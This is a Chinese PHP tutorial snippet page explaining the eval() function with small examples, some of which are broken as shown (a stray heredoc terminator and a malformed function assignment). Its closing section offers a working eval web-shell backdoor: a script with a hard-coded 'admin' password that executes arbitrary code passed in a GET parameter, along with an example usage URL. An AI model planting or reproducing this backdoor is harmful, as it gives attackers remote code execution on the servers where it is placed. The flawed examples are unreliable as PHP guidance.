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HomeBackend DevelopmentPHP TutorialPHP eval函数使用介绍_php技巧

代码:

复制代码 代码如下:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有来转义。如果没有赋值操作可以不需要。

代码:

复制代码 代码如下:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用来转义$.等同于以下代码:

复制代码 代码如下:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

复制代码 代码如下:

$func =function test(){ 
    echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

复制代码 代码如下:

$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>
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